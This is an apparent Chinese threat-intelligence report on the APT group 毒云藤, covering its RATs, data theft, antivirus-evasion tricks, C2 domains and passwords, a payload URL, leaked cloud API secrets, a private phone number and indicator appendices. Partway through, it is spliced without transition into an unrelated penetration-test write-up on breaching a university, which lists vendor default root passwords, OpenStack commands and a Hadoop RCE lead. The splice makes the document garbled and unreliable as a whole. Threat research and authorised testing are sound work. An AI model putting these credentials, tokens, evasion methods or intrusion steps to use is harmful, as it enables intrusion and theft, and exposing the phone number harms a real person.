剔除功能 | 保留功能 | 新增功能
---|---|---
克隆系统账号
暂时关闭windows自带防火墙
克隆一个文件的时间信息
端口扫描
以其他进程或用户的身份运行程序
注销 || 重启 || 关闭系统
卸装
系统帐户管理
代理服务器
HTTP 服务器
Socks 4 & 5 代理
| 清除系统日记
结束本程序
运行一个程序
显示本信息
加载一个DLL或插入到指定的进程
进程管理
服务管理
共享一个Shell给别人.
查看系统详细信息
配置终端服务
从指定网址下载文件或上传文件到指定FTP服务器
NC
插件功能, 可添加自定义命令
| IEPass获取IE密码
搜索敏感信息加密写入文件：指定时间范围内；指定文件扩展名；指定关键字范围内
搜集信息回传到服务器
期间相关版本改动：修改监控日志文件加密写到日志adovbs.mof；添加配置字符的监控；增加了Profiles.log记录系统信息和文件信息
我们捕获到的样本是基于ZxShell源码修改，保留原有结构，ZxShell本身指令比较多，有二十多种。我们捕获的样本除了保留部分指令外，剔除了大量指令，如：安装启动，克隆系统账户，关闭防火墙，端口扫描，代理服务器等功能。另外增加“IEPass”指令。
图 32包含IEPass指令相关代码截图
相关子版本迭代更新（二次开发版）
1. 对比上一个版本,变化主要是搜集信息的部分,搜集文档的创建时间时间从半年前变成4年前，增加对“.wps”扩展名的文件搜集，改变原来的“.doc”为“.doc*”；
2. 窃取的文档的创建时间又重新变成半年，文件打包部分修改，去除文件版本信息；
3. 比较大的改动，修改监控日志文件加密写到日志adovbs.mof，添加配置字符的监控，增加，增加了Profiles.log记录系统信息和文件信息；
4. 代码功能较上个版本更新较少，相关函数位置发生了变化，是对抗杀毒软件进行了相关调整。
图 33包含相关关键字代码截图
ZxShell相关配置列表
上线密码 | 标记 | 关键字
---|---|---
admin | fish1111 | “201”,“报”，“项”
ps1357 | ps1234 | “军事”，“对台”，“工作”
ftp533 | ftp1234 | “军”，“项”
8613 | spring | “军”，“航”，“报告”
661566 | 大661566大 | “极地”，“军”，“雪”
987 | zxcvasdf | “对台”，“国际”，“军”
95279527 | asusgo | “航”，“无人”，“军”
qwer1234 | kano918 | “航”，“军”，“部”
##### 酷盘版
相关样本伪装文件夹图标，执行后释放“svch0st.exe”的木马文件和用作迷惑用户的正常文件夹和“.doc”文档文件。
“svch0st.exe”是一个采用ssl加密协议传输的一个木马程序，它会每过一个小时，执行一遍所有的木马流程，木马流程把包括获取电脑上的所有信息（相关信息包括：文件目录、系统版本，网卡信息、进程列表信息、打包指定文件、网络信息和磁盘信息），还有如果发现文件有相关关键字（如：“台”、“军”、“战”）的文件，打包，通过ssl协议的方式上传到攻击者事先注册的酷盘。
C&C地址是酷盘地址，通过酷盘提供的API进行文件上传。
API上传接口：
<https://api-upload.kanbox.com/0/upload/%s/%s?bearer_token=%s>
<https://auth.kanbox.com/0/token>
---
图 34包含酷盘API地址的代码截图
图 35酷盘官网首页截图
酷盘版A相关功能描述
（不释放Shellcode后门）
| 酷盘版B相关功能描述
（释放shellcode后门）
---|---
1、 释放窃密木马子体
2、 获取系统信息
3、 搜索敏感文件
4、 打包加密上传敏感文件
| 1、 释放窃密木马子体
2、 获取系统信息
3、 搜索敏感文件
4、 打包加密上传敏感文件
5、 释放Shellcode后门子体（增加）
6、 连接远程CC服务器（增加）
7、 执行远程命令（增加）
酷盘版相关配置信息列表
样本编译时间戳 | 监控字符 | 特征串
---|---|---
2/11/2015 20:48:26 | “2014″,”军”，“兵” | A-plus
2/11/2015 20:48:26 | “台”，“军”，“战” | Aboutdoublewu
2/11/2015 20:48:26 | “201”，“报”，“研” | book
2/11/2015 20:48:26 | “国际”，“合作”，“军事” | wind
2/11/2015 20:48:26 | “部队”，“机场”，“部队” | rankco
3/1/2015 22:08:18 | “2014″,”军”，“兵” | A-plus
3/2/2015 8:21:01 | “军”，“机”，“站” | ineedyou
3/2/2015 23:17:57 | “十”，“国”，“中” | ineedyou
3/2/2015 23:17:57 | “军”，“机”，“站” | ineedyou
3/2/2015 23:17:57 | “十三”，“运输”，“铁路” | AJ
5/4/2015 16:48:12 | “部队”，“台湾”，“基地” | rancor
5/4/2015 16:48:12 | “军”，“科技”，“国” | furyman
5/4/2015 16:48:12 | “201”，“密”，“内部” | king
5/4/2015 16:48:12 | “2015年”，“工作”，“报告” | comein
5/4/2015 16:48:12 | “201”，“报”，“研” | book
##### 未知RAT
未知RAT从外层dropper区分为文件夹和捆绑两个版本，其中的RAT分为4个版本，这4种RAT均为未知远控。
1. 文件夹版
图 36未知RAT文件版执行后相关变化
1. 捆绑版
67d5f04fb0e00addc4085457f40900a2
└─Atnewyrr.exe~tmp.zip
│ newyrr.exe
│
└─doll.exe
aaa.vbs
b.bat
server.exe
---
图 37未知RAT中利用到的数字签名
##### 其他
毒云藤组织在相关行动中使用的后门程序，进一步还包括gh0st、XRAT、HttpBot这三种RAT。
#### 脚本加载的攻击载荷分析
2018年初，360威胁情报中心发现了毒云藤组织使用的一个用于控制和分发攻击载荷的控制域名<http://updateinfo.servegame.org>，并对外披露了相关攻击技术和关联分析(详见<https://ti.360.net/blog/articles/analysis-of-apt-c-01/)>。
在该攻击活动中，该组织结合CVE-2017-8759漏洞文档，下载恶意的HTA文件，执行相关脚本命令来下载执行后续的攻击载荷模块。
##### A. Dropper分析
Dropper程序由鱼叉邮件附带的漏洞文档触发下载执行。
并且进一步下载恶意的HTA文件，其执行PowerShell指令下载Loader程序，保存为officeupdate.exe并执行。
#### B. Loader分析
根据Loader程序中包含的字符串信息，制作者将其命名为SCLoaderByWeb，版本信息为1.0版，从字面意思为从Web获取的Shellcode
Loader程序。其用来下载执行shellcode代码。
Loader程序首先会尝试连接某常用网址，以判断网络联通性，如果没有联网，会每隔5秒尝试连接一次，直至能联网。
然后从<hxxp://updateinfo.servegame.org/tiny1detvghrt.tmp>下载payload，如图：
接着判断文件是否下载成功，如果没有下载成功会休眠1秒后，然后再次尝试下载payload：
下载成功后，把下载的文件内容按每个字节分别和0xac，0x5c，0xdd异或解密(本质上就是直接每个字节异或0x2d)，如图：
之后把解密完的shellcode在新创建的线程中执行，如图：
##### C. Shellcode分析
分发域名地址托管的.tmp文件均为逐字节异或的shellcode，如下图为从分发域名下载的tinyq1detvghrt.tmp文件，该文件是和0x2d异或加密的数据。
解密后发现是Poison Ivy生成的shellcode，标志如下：
通过分析测试Poison
Ivy木马生成的shellcode格式与该攻击载荷中使用的shellcode格式比较，得到每个配置字段在shellcode中的位置和含义。
其shellcode配置字段的格式详细如下：
在分析Poison Ivy中获取kernel32基址的代码逻辑时，发现其不兼容Windows 7版本系统，因为在Windows
7下InitializationOrderModule的第2个模块是KernelBase.dll，所以其获取的实际是KernelBase的基址。
由于Poison
Ivy已经停止更新，所以攻击团伙为了使shellcode能够执行在后续版本的Windows系统，其采用了代码Patch对获取kernel32基址的代码做了改进。
其改进方法如下：
1. 在原有获取kernel32基址代码前增加跳转指令跳转到shellcode尾部，其patch代码增加在尾部；
2. patch代码首先获取InitializationOrderModule的第2个模块的基址(WinXP下为kernel32.dll,WIN7为kernelbase.dll)；
3. 然后获取InitializationOrderModule的第二个模块的LoadLibraryExA的地址(WinXP下的kernel32.dll和WIN7下的kernelbase.dll都有这个导出函数)
4. 最后通过调用LoadLibraryExA函数获取kernel32的基址。
[](https://p0.ssl.qhimg.com/t019cb10dc4dfd2bddf.png)
攻击者针对shellcode的patch，使得其可以在不同的Windows系统版本通用。
该shellcode的功能主要是远控木马的控制模块，和C2通信并实现远程控制。这里我们在Win7系统下模拟该木马的上线过程。
对控制域名上托管的其他shellcode文件进行解密，获得样本的上线信息统计如下：
行动ID | 上线域名 | 端口 | 上线密码 | 互斥体
---|---|---|---|---
2017 | office.go.dyndns.org | 5566 | !@#3432!@#@! | )!VoqA.I4
bing | zxcv201789.dynssl.com | 8088 | zxc5566 | )!VoqA.I4
ding1 | microsoftword.serveuser.com | 53 | 1wd3wa$RFGHY^%$ | )!VoqA.I4
ding2 | uswebmail163.sendsmtp.com | 53 | 1wd3wa$RFGHY^%$ | )!VoqA.I4
geiwoaaa | geiwoaaa.qpoe.com | 443 | wyaaa8 | )!VoqA.I4
jin_1 | hy-zhqopin.mynumber.org | 80 | HK#mq6!Z+. | )!VoqA.I4
jin_2 | bearingonly.rebatesrule.net | 53 | ~@FA<9p2c* | )!VoqA.I4
justdied | [www.service.justdied.com](www.service.justdied.com) | 80 |
ppt.168@ | )!VoqA.I4
pouhui | pouhui.diskstation.org | 53 | index#help | )!VoqA.I4
tina_1 | fevupdate.ocry.com | 80 | 168168 | )!VoqA.I4
tina_2 | wmiaprp.ezua.com | 53 | 116688 | )!VoqA.I4
tony_1 | winsysupdate.dynamic-dns.net | 80 | 0A@2q60#21 | )!VoqA.I4
tony_2 | officepatch.dnset.com | 53 | aZ!@2q6U0# | )!VoqA.I4
#### 最新控制木马分析
在2018年5月，我们在该组织针对境内相关海事机构和单位的攻击活动中，发现了其使用的新的木马程序，其主要利用鱼叉邮件投递RAR自解压程序附件，当受害目标人员双击后执行。
该远控模块的入口处，通过触发异常代码，在catch里执行恶意代码，如图：
然后再用同样的方法触发异常代码，进入第二层的代码:
进入初始化套接字，并和C2建立连接的地方：
连接zxcv201789.dynssl.com的8080端口，创建C&C通道：
其中向控制服务器发送上线包的地方有上线密码:asd88，如图：
最后进入远控的功能循环部分：
图如下：
功能包括：
Token | 功能
---|---
0x04 | 关闭连接
0x41 | 远程shell
0x42 | 进程枚举
0x43 | 结束指定进程
0x51 | 枚举驱动器
0x52 | 列指定目录
0x53 | 上传文件到受害者
0x54 | 下载受害者的文件
0x55 | 删除文件
0x56 | 远程执行
该木马程序中的字符串用的都是反转的字符串，通过C语言的strrev把字符串反转回来，这种方式，在该组织2015年的木马中也用到过。如图：
### C&C分析
##### 动态域名
图 38动态域名服务商（ChangeIP）
图 39动态域名服务商相关比例图
动态域名服务商 | 域名数量
---|---
ChangeIP | 30
No-IP | 9
DynDNS | 2
Afraid（FreeDNS） | 1
dnsExit | 1
非动态域名 | 6
##### 域名涵义
以下是取动态域名子域名（攻击组织注册的名称），进行相关映射涵义的研究分析。
C&C | 名称 | 网站名称 | 网站地址
---|---|---|---
chinamil.lflink.com | Chinamil | 中国*网 | www.**.com.cn
红色**网 | [www.c](www.c)**.com
中国**域名注册网 | [www.c](www.c)**.cn
soagov.sytes.net
soagov.zapto.org
soasoa.sytes.net
| soagov，soasoa | 国家**局 | [www.XX.gov.cn](www.XX.gov.cn)
xinhua.redirectme.net | Xinhua | 新*网 | [www.xin](www.xin)***.com
类别 | 名称
---|---
邮箱类 | 126mailserver、mail.sends、mail163、mailsends
杀软类 | kav2011，safe360，cluster.safe360，rising
网络类 | javainfo、webupdate、updates、netlink
姓名类 | Sandy、jerry、jason
##### 云盘
酷盘相关样本目前两个Token：
| client_id | client_secret | refresh_token
---|---|---|---
Token1 | 3edfe684ded31a7cca6378c0226f5629 | bfa89eebf29032076e9cffb75549fee5 |
75cdc35b1cdaee24047f3afb23a5ccce
Token2 | 7a5691b81bf4322fd88f5fa99407fbbc | d44cfa7dd3c852b69c59efacf766cc23 |
14b6685330bf32a22688910e765b5dce
我们通过对酷盘API的分析，得到攻击组织所使用的云盘帐号的信息，主要是包含一个中国移动的手机号码，该号码被用来注册云盘帐号。
{“status”:”ok”,”email”:””,”phone”:”15811848796″,”spaceQuota”:1700807049216,”spaceUsed”:508800279,”emailIsActive”:0,”phoneIsActive”:1}
---
以下是我们通过该手机号进行的一些关联分析结果：
图 40谷歌搜索相关结果
图 41威风堂机车网该用户信息1
图 42威风堂机车网该用户信息2
图 43手机号机主相关支付宝和微信信息
##### 第三方博客
图 44 某第三方博客部分截图
上图为毒云藤组织依托某第三方博客进行恶意代码传播。博客的域名通常在防火墙和各种安全软件的白名单里，使用这种方法将恶意代码存在博客中，可以躲避查杀和拦截。
##### C&C的IP（ASN）
图 45 C&C IP关联分析
##### 其他
非动态域名中gaewaaa.upgrinfo.com这个域名有相关whois信息，具体如下图。
图 46域名注册信息
另外一个非动态域名moneyaaa.beijingdasihei.com
### 关联分析
#### 整体关联
从原始攻击邮件、漏洞文件、3种不同RAT（ZxShell，Poison
Ivy和酷盘版）、以及相关域名、上线密码、文件扩展名、压缩包密码和关键字不同资源之间进行关联。
图 47不同资源之间整体关联
#### RAT迭代升级（对抗手法）
| A | B | C | D | E | F | G
---|---|---|---|---|---|---|---
| 开发环境 | 加密方法 | 自定义窃密函数 | Shellcode | 免杀对抗-静 | 免杀对抗-动 | 伪装文档等
httpbot | C++ | × | √ | × | √ | √ | √
Kbox | C++ | √ | √ | √ | √ | √ | √
Poison Ivy | C++ | √ | × | √ | √ | √ | ×
puppet | Borland C++ | √ | × | × | √ | × | √
XRAT | Delphi | √ | × | √ | √ | √ | ×
gh0st | Borland C++ | √ | × | × | √ | × | √
FakeRising | Borland C++ | × | × | × | × | × | ×
AresRemote | C++ | √ | × | × | √ | × | √
shellcode | C++ | √ | × | √ | √ | | √
FakeWinupdate | C++ | √ | × | × | √ | × | ×
SBolg2014 | C++ | √ | √ | √ | √ | × | √
SBolg2015 | C++ | √ | × | √ | √ | × | ×
zxshell | C++ | √ | √ | | √ | √ | √
同源样本的典型手法：
##### 开发环境
除了XRAT后门之外，其他的版本从2007年至2015年都是用了C++开发语言。
##### 加密方法
2011、memcache版、Voice64版、HTTPBOTS版、kanbox版、PI、XRAT都使用了连续2次异的解密方式，然后执行恶意代码。另外云盘版木马在上传文件也会对文件进行相关加密方法。
图 48未知RAT2011版（左），酷盘版（右）
##### 窃密函数
ZXShell版后门使用的自定义窃取函数和2015网盘版子体使用的窃取函数非常相似。同样都排除了A盘的搜索（通常为软盘驱动器盘符）；同样都预先遍历磁盘，将盘符列表保存在内存中，通过指针加5的方式读取内存中的盘符列表。
图 49 ZxShell（左），酷盘版（右）
##### Shellcode后门
对比2011版（Poison
Ivy）注入到系统的Shellcode和2015云盘版子体，可以看出使用了高度相似的Shellcode后门，上线地址尾部同样采用0x30填充。
图 50未知RAT2011版（左），酷盘版（右）
相关shellcode木马文件检出结果（0检出）：
<https://www.virustotal.com/en/file/8cee670d7419d1fd0f8f0ac6a2bd981593c2c96ca0f6b8019317cf556337cfa8/analysis/>
##### 子体文件名（外层）
通过对比2009版代码和和2011版代码，可以看出病毒释放的子体文件名都为~work.tmp、格式化字符串都为“%s\%s.bak”，并且代码相似度极高。
使用~tmp.tmp、~tmp.zip、~mstmp.cpt作为木马临时文件名（07~09）。
图 51未知RAT2009版（左），未知RAT2011版（右）
##### 免杀对抗–API字符串逆序对抗静态扫描：
HttpBot、酷盘、XRAT、未知RAT（07~11版）木马，代码编写过程中使用了逆序API字符串。木马执行时，通过_strrev函数将逆序字符串转换为正常API字符串，最后调用GetProcAddress函数动态获得API地址。逆序API字符串增加了字符串检测难度，使得API字符串不易被检测；除此之外，API地址是在木马动态执行中获得，在PE静态信息中很难被检测到，增加了API检测难度。
毒云藤组织已知最早从2009年开始使用此方法，并且持续到2018年仍在使用。
图 52未知RAT2009（上），酷盘（下）
##### 免杀对抗–传递错误API参数对抗动态扫描：
酷盘、Poison Ivy、XRAT、ZxShell、未知RAT（07~11版）木马，使用了GetClientRect函数对抗杀毒软件的动态扫描技术。
GetClientRect原型为：BOOL GetClientRect(HWND hWnd,LPRECT
lpRect);。作用是获得窗口坐标区域。其中第1个参数为目标窗口句柄，第2个参数为返回的坐标结构。木马调用GetClientRect，故意在第一个参数传递参数为0，这样使得GetClientRect函数在正常Windows操作系统中永远执行失败，返回值为0；
目前很多杀毒软件使用了动态扫描技术（多用于启发式检测），在模拟执行GetClientRect函数时并没有考虑错误参数的情况，使得GetClientRect函数永远被模拟执行成功，返回值非0。这样一来，杀毒软件虚拟环境和用户真实系统就可以被木马区分，从而躲避杀毒软件检测。实测卡巴斯基虚拟机启发式扫描环境可以被木马检测到。
毒云藤组织已知最早从2011年开始使用此方法，并且持续到2018年仍在使用。
图 53未知RAT2011（左上），zxshell（右上），酷盘（下）
其中在酷盘使用了动态获取API的方式调用GetClientRect函数。
##### 合法数字签名
2011之前早期版本
2015BLOG版本
在2015年5月开始使用签名（疑似被盗用）
签名：We Build Toolbars LLC
## 4.幕后始作俑者
### 资源方法
#### 1、 漏洞文档：
（1） 主要是释放的正常DOC：繁体、或某特定地区相关字体字符等。DOC代码页
（2） 一些路径，如PPSX的DANK？
#### 2、 PE：字符串繁体、或某特定地区相关字体字符（BIG5等）等等。PE文件版本信息。上线ID\密码\互斥量等字符串
#### 3、 CC：
（1） 非动态域名：韦氏拼音，注册信息
（2） 动态域名：
（3） 云盘
#### 4、 IP：或某特定地区、美国，主要区分CC的和邮件的
#### 5、 相关作息时间：PE时间戳、文档时间等等，结论比如集中在周一上午攻击等等
### 相关关联信息
#### 域名whois信息
域名为javainfo.upgrinfo.com，注册信息中的地址是某特定地区，相关人名使用的可能是韦氏拼音等。
#### 关注的关键字
图 54包含相关关键字代码截图
关键字：
---
“对台”，“台”，“台湾”
漏洞文件或木马程序原始文件名（诱饵文件名）相关列表：
2012年度涉台法学研究课题材料.doc
2012年度涉台周边问题研究课题材料.doc
2013年度涉台周边问题研究课题材料.doc
关于海峡两岸关系法学研究会2012年年会暨会员大会的通报.doc
关于两岸关系研究学术座谈会的背景材料.doc
海峡两岸关系研究会2013年度涉台周边问题研究征集选题.zip
海峡论坛深层次推动两岸关系.exe
两岸军事互信研究学术研讨会议邀请信.doc
台盟中央参政议政工作通讯2013年第2期.doc
---
#### PE样本中繁体字体、BIG5字符集
Zxshell版本中帮助信息是乱码,实际是繁体中文。
图 55 ZxShell相关代码截图
图 56未知RAT2009
#### 漏洞文档中繁体字体
图 57漏洞文档（CVE-2014-4114）属性详细信息截图
图 58漏洞文档（CVE-2014-4114）内slide文件内容
#### 释放的迷惑文档
某特定地区默认字体：细明体
图 59后门释放的迷惑文档
图 60新华网相关新闻截图
<http://news.xinhuanet.com/world/2014-05/18/c_1110741502.htm>
5.组织能力或特性分析
主项 | 子项 | 毒云藤 | 海莲花
---|---|---|---
攻击目标 | 人员 | 政府人员、行业专家 | 政府人员、行业专家
行业、领域 | 中国政府、科研院所、海事机构等 军事、两岸关系 | 中国政府、科研院所、海事机构等
国家 | 中国 | 中国，其他
地域 | 重点：北京、福建、广东、浙江、上海 | 重点：北京、天津
概况 | 攻击者个人信息 | |
规模 | |
母语 | 简体中文、繁体中文 | 简体中文、越语
威胁等级 | 高（5） | 高（4）
综合实力 | 高（5） | 高（3）
涉及的行动
（组织特有）
| | |
涉及的组织
（行动特有）
| | |
攻击手法 | 常用语言或语种 | 简体中文 | 简体中文
攻击前导 | 邮件+PE
邮件+漏洞文档
| 邮件+PE
网站+PE（MAC）
发送邮件习惯 | 用WEB邮箱
Phpmail工具
|
0day利用的情况 | 1个 | 无
漏洞利用种类 | CVE-2014-4114、CVE-2012-0158 | 无
攻击平台 | windows | Windows\Mac
横向移动 | |
常用RAT类型 | PI\ZXSHELL等 | 未知
家族种类 | 6个以上 | 4
…… | |
攻击目的 | 破坏 | 无 | 无
窃取 | CC指令、遍历指定文件 | CC指令
行动持续时间 | 首次攻击时间 | 2007 | 2012
最近攻击时间 | 2018 | 2018
活跃度 | 非常活跃 | 非常活跃
其他 | C&C域名属性 | 大量采用动态域名，基于NO-IP等 | 未使用动态域名，但有域名信息保护
IP属性 | ADSL，大部分归属地为某特定地区，另外有美国、中国香港 |
## 附录1：文件MD5列表
03d762794a6fe96458d8228bb7561629
0595f5005f237967dcfda517b26497d6
07561810d818905851ce6ab2c1152871
0e80fca91103fe46766dcb0763c6f6af
1374e999e1cda9e406c19dfe99830ffc
1396cafb08ca09fac5d4bd2f12c65059
1ab54f5f0b847a1aaaf00237d3a9f0ba
1aca8cd40d9b84cab225d333b09f9ba5
1dc61f30feeb60995174692e8d864312
250c9ec3e77d1c6d999ce782c69fc21b
2579b715ea1b76a1979c415b139fdee7
26d7f7aa3135e99581119f40986a8ac3
27f683baed7b02927a591cdc0c850743
28e4545e9944eb53897ee9acf67b1969
2a96042e605146ead06b2ee4835baec3
2c405d608b600655196a4aa13bdb3790
30866adc2976704bca0f051b5474a1ee
31c81459c10d3f001d2ccef830239c16
3484302809ac3df6ceec857cb4f75fb1
36c23c569205d6586984a2f6f8c3a39e
382132e601d7a4ae39a4e7d89457597f
3e12538b6eaf19ca163a47ea599cfa9b
41c7e09170037fafe95bb691df021a20
45e983ae2fca8dacfdebe1b1277102c9
4e57987d0897878eb2241f9d52303713
5696bbee662d75f9be0e8a9ed8672755
5e4c2fbcd0308a0b9af92bf87383604f
5ee2958b130f9cda8f5f3fc1dc5249cf
5f1a1ff9f272539904e25d300f2bfbcc
611cefaee48c5f096fb644073247621c
67d5f04fb0e00addc4085457f40900a2
6a37ce66d3003ebf04d249ab049acb22
6ca3a598492152eb08e36819ee56ab83
7639ed0f0c0f5ac48ec9a548a82e2f50
76782ecf9684595dbf86e5e37ba95cc8
785b24a55dd41c94060efe8b39dc6d4c
7c498b7ad4c12c38b1f4eb12044a9def
81232f4c5c7810939b3486fa78d666c2
81e1332d15b29e8a19d0e97459d0a1de
8abb22771fd3ca34d6def30ba5c5081c
95f0b0e942081b4952e6daef2e373967
9b925250786571058dae5a7cbea71d28
9bcb41da619c289fcfdf3131bbf2be21
9f9a24b063018613f7f290cc057b8c40
a73d3f749e42e2b614f89c4b3ce97fe1
a807486cfe05b30a43c109fdb6a95993
a8417d19c5e5183d45a38a2abf48e43e
acc598bf20fada204b5cfd4c3344f98a
accb53eb0faebfca9f190815d143e04b
adc3a4dfbdfe7640153ed0ea1c3cf125
ae004a5d4f1829594d830956c55d6ae4
b0be3c5fe298fb2b894394e808d5ffaf
b244cced7c7f728bcc4d363f8260090d
b301cd0e42803b0373438e9d4ca01421
bd2272535c655aff1f1566b24a70ee97
bd4b579f889bbe681b9d3ab11768ca07
bfb9d13daf5a4232e5e45875e7e905d7
c31549489bf0478ab4c367c563916ada
c8755d732be4dc13eecd8e4c49cfab94
c8fd2748a82e336f934963a79313aaa1
ca663597299b1cecaf57c14c6579b23b
d12099237026ae7475c24b3dfb5d18bc
d61c583eba31f2670ae688af070c87fc
dde2c03d6168089affdca3b5ec41f661
e2e2cd911e099b005e0b2a80a34cfaac
e9a9c0485ee3e32e7db79247fee8bba6
ec7e11cfca01af40f4d96cbbacb41fed
eff88ecf0c3e719f584371e9150061d2
f0c29f89ffdb0f3f03e663ef415b9e4e
f1b6ed2624583c913392dcd7e3ea6ae1
f27a9cd7df897cf8d2e540b6530dceb3
f29abd84d6cdec8bb5ce8d51e85ddafc
f3ed0632cadd2d6beffb9d33db4188ed
fbd0f2c62b14b576f087e92f60e7d132
fccb13c00df25d074a78f1eeeb04a0e7
0fb92524625fffda3425d08c94c014a1
168365197031ffcdbe65ab13d71b64ec
2b5ddabf1c6fd8670137cade8b60a034
517c81b6d05bf285d095e0fd91cb6f03
7deeb1b3cce6528add4f9489ce1ec5d6
aa57085e5544d923f576e9f86adf9dc0
cda1961d63aaee991ff97845705e08b8
e07ca9f773bd772a41a6698c6fd6e551
fb427874a13f6ea5e0fd1a0aec6a095c
---
## 附录2：C&C列表
126mailserver.serveftp.com
access.webplurk.com
aliago.dyndns.dk
as1688.webhop.org
babana.wikaba.com
backaaa.beijingdasihei.com
bt0116.servebbs.net
ceepitbj.servepics.com
check.blogdns.com
china.serveblog.net
chinamil.lflink.com
cluster.safe360.dns05.com
cn[www.m-music.net](www.m-music.net)
fff.dynamic-dns.net
gaewaa.upgrinfo.com
givemea.ygto.com
givemeaaa.upgrinfo.com
goldlion.mefound.com
gugupd.008.net
guliu2008.9966.org
hyssjc.securitytactics.com
jason.zyns.com
javainfo.upgrinfo.com
jerry.jkub.com
kav2011.mooo.com
kouwel.zapto.org
laizaow.mefound.com
localhosts.ddns.us
mail.sends.sendsmtp.com
mail163.mypop3.net
mailsends.sendsmtp.com
mediatvset.no-ip.org
moneyaaa.beijingdasihei.com
motices.ourhobby.com
mp3.dnset.com
netlink.vizvaz.com
operater.solaris.nu
pps.longmusic.com
ps1688.webhop.org
rising.linkpc.net
safe360.dns05.com
sandy.ourhobby.com
soagov.sytes.net
soagov.zapto.org
soasoa.sytes.net
ssy.ikwb.com
ssy.mynumber.org
svcsrset.ezua.com
teacat.https443.org
tong.wikaba.com
updates.lflink.com
usa08.serveftp.net
waterfall.mynumber.org
webupdate.dnsrd.com
[www.safe360.dns05.com](www.safe360.dns05.com)
[www.ssy.ikwb.com](www.ssy.ikwb.com)
[www.tong.wikaba.com](www.tong.wikaba.com)
wwwdo.tyur.acmetoy.com
xinhua.redirectme.net
131.213.66.10
146.0.32.168
165.227.220.223
188.166.67.36
199.101.133.169
45.32.8.137
45.76.125.176
45.76.228.61
45.76.9.206
45.77.171.209
bearingonly.rebatesrule.net
canberk.gecekodu.com
emailser163.serveusers.com
fevupdate.ocry.com
geiwoaaa.qpoe.com
hy-zhqopin.mynumber.org
l63service.serveuser.com
microsoftword.serveuser.com
office.go.dyndns.org
updateinfo.servegame.org
uswebmail163.sendsmtp.com
winsysupdate.dynamic-dns.net
wmiaprp.ezua.com
[www.service.justdied.com](www.service.justdied.com)
zxcv201789.dynssl.com
officepatch.dnset.com
pouhui.diskstation.org
comehigh.mefound.com
annie165.zyns.com
<http://annie165.zyns.com/zxcvb.hta>
---
## 附录3：360追日团队（Helios Team）
360 追日团队（Helios
Team）是360公司高级威胁研究团队，从事APT攻击发现与追踪、互联网安全事件应急响应、黑客产业链挖掘和研究等工作。团队成立于2014年12月，通过整合360公司海量安全大数据，实现了威胁情报快速关联溯源，独家首次发现并追踪了三十余个APT组织及黑客团伙，大大拓宽了国内关于黑客产业的研究视野，填补了国内APT研究的空白，并为大量企业和政府机构提供安全威胁评估及解决方案输出。
联系方式
邮箱：[[email protected]](mailto:[email protected])
微信公众号：360追日团队
扫描右侧二维码关微信公众号
## 附录4：360安全监测与响应中心
360安全监测与响应中心，是360为服务广大政企机构而建立的网络安全服务平台，旨在第一时间为政企机构提供突发网络安全事件的预警、通告，处置建议、技术分析和360安全产品解决方案。突发网络安全事件包括但不限于：安全漏洞、木马病毒、信息泄露、黑客活动、攻击组织等。
360安全监测与响应中心兼具安全监测与响应能力：中心结合360安全大数据监测能力与海量威胁情报分析能力，能够全天候、全方位的监测和捕获各类突发网络安全事件；同时，基于10余年来为全国数万家大型政企机构提供安全服务和应急响应处置经验，中心能够在第一时间为政企机构应对突发网络安全事件提供有效的处置措施建议和应急响应方案。
在2017年5月发生的永恒之蓝勒索蠕虫（WannaCry）攻击事件中，360安全监测与响应中心在72小时内，连续发布9份安全预警通告，7份安全修复指南和6个专业技术工具，帮助和指导全国十万余家政企机构应对危机。
A-TEAM是360安全监测与响应中心下属的一支专业技术研究团队，主要专注于 Web 渗透与APT
攻防技术研究，并持续展开前瞻性攻防工具预研，以提前探知更多的未知威胁、新兴威胁。A-TEAM的技术研究从底层原理、协议实现入手，能够深度还原攻与防的技术本质。
## 附录5：360威胁情报中心
360威胁情报中心由全球最大的互联网安全公司奇虎360特别成立，是中国首个面向企业和机构的互联网威胁情报整合专业机构。该中心以业界领先的安全大数据资源为基础，基于360长期积累的核心安全技术，依托亚太地区顶级的安全人才团队，通过强大的大数据能力，实现全网威胁情报的即时、全面、深入的整合与分析，为企业和机构提供安全管理与防护的网络威胁预警与情报。
360威胁情报中心对外服务平台网址为<https://ti.360.net/>。服务平台以海量多维度网络空间安全数据为基础，为安全分析人员及各类企业用户提供基础数据的查询，攻击线索拓展，事件背景研判，攻击组织解析，研究报告下载等多种维度的威胁情报数据与威胁情报服务。
微信公众号：360威胁情报中心
关注二维码： | 社区文章 |
# 前言
记录下某年某省HW期间，一个上午“打穿”某还算不错的高校的经历。
过程中只用到很简单的方法，所以加了个标题“有手就行”。
文中内容已做脱敏处理，渗透过程已获得授权, 相关漏洞也已经修复。
所介绍方法请勿用于非法用途！本文请勿转载。
# 外网打点
这一块涉及一些隐私问题，就不展开说了，只说下可行的思路吧。可以去看下其他师傅的文章。
* 构造SSL VPN用户名(学号)及密码(默认密码格式可以在学校某些通知中检索到)
* 同上换成Web VPN
* 某宝购买该校的图书馆VPN资源
* 在公网找未加密/弱口令的socks/frp代理(学校的服务器一般没独立公网IP，会有学生图方便开代理，这也方便了攻击者)
# 横向1-寻找内网跳板
用VPN等方式总归是不稳定，需要找到稳定的跳板机来进行后续的渗透。对重点的网段进行扫描，如信息中心、财务处、学校官网主站等所在的网段。
## 某公司物理机/虚拟机弱口令(数十台)
探测到该校购买了大量的华为物理机部署在机房内，但其Web管理密码及KVM的连接用户密码均为出厂时的密码。我们可以通过Web管理平台直接执行系统命令，或者用华为官网提供的工具KVM连接(到虚拟机?)后执行命令。
可以看到root和远程控制
可见服务器配置还是挺高的，不挖矿可惜了(bushi
部分机器内还跑着OpenStack的服务，我们可以构造环境变量来管理这些虚拟机。
# 首先初始化环境变量
export OS_PASSWORD=***
export OS_AUTH_URL=https://identity.az1.dc1.domainname.com:443/identity-admin/v2.0
export OS_USERNAME=***
export OS_TENANT_NAME=***
export OS_REGION_NAME=***
export NOVA_ENDPOINT_TYPE=internalURL
export OS_ENDPOINT_TYPE=internalURL
export CINDER_ENDPOINT_TYPE=internalURL
export OS_VOLUME_API_VERSION=2
export BASE_BOND=brcps
# 旧版本
nova server list
# 新版本
openstack server list
此外还找到一些该公司其他云服务的默认密码，这里跟上边的一块，统一列几个吧
root / Huawei12#$
root / FusionSphere123
root / Huawei@CLOUD8!
这些默认密码在华为官方的文档其实都有~
## Hadoop unauthorized-yarn RCE (十台)
发现某IP的80服务开着未授权的Hadoop，且存在RCE漏洞。
EXP不放了，可以参考[Vulhub链接](https://vulhub.org/#/environments/hadoop/unauthorized-yarn/ "Vulhub链接")。
